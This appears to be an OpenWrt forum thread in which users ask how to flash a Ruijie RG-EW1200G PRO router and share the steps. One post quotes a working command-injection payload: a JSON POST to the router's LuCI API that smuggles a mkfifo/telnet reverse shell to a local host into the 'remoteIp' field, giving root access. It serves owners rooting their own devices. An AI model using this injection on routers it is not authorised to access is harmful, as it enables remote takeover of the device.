How to flash Ruijie RG-EW1200G PRO with OpenWRT?

Does anyone know the correct process to flash the Ruijie RG-EW1200G PRO with OpenWRT ?

https://openwrt.org/toh/hwdata/ruijie/ruijie_rg-ew1200g_pro_v1.1

I don't see any installation instructions.

Thanks for your guidance!

Something tells me you didn't follow the link to:
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=0f0aadcff4f1a1853e3dfe6bad707383a3acd1c4

1 Like

Ah, there we go. Thanks @slh !

  1. Get rootshell using instructions from
  1. Download and flash image
    On computer:
    python -m http.server
    On router:
    cd /tmp
    wget http://:8000/factory.bin
    mtd -r write factory.bin firmware

Device should reboot at this point.

===

I am struggling a bit to follow the rootshell instructions.

Could someone please explain that part?

Do I make the HTTP Post request frome the developer tool of my browser?

Send the following POST request to /cgi-bin/luci/api/cmd.

{
"method": "devConfig.get",
"params": {
"module": "123",
"remoteIp": "$(mkfifo /tmp/test;telnet 192.168.45.203 6666 0</tmp/test|/bin/sh > /tmp/test)",
"data": {
"kkk": "abc"
}
}
}

curl 'http://example.com/?param=value&other_param=something+else' -d 'This is my body content'

Has anyone tested if these instructions will only work for firmware version 1.1 or would this als work for later versions, specifically 3.0 ?

someone has installed openwrt on this device please show me

I have a Ruijie 1200G Pro device, I want to install openwrt for it but can't find any tutorial, can anyone who has installed it please give me detailed instructions? Thank you.


I managed to get to this step for the rootshell access, but it is lacking the root access. Anyone has any idea why? Using RG-EW1200G PRO Wireless Routers EW_3.0(1)B11P219 firmware, hardware v1.10

The instructions found on the link entitled "Supported Since Commit" didn't work?

See: https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=0f0aadcff4f1a1853e3dfe6bad707383a3acd1c4

INSTALLATION:

    Get rootshell using insructions from https://gist.github.com/ZIKH26/18693c67ee7d2f8d2c60231b19194c37

    Download and flash image
    On computer:
    python -m http.server
    On router:
    cd /tmp
    wget http://:8000/factory.bin
    mtd -r write factory.bin firmware

Device should reboot at this point.


doesn't work on my proxmox machine, but retrying the steps in windows powershell worked!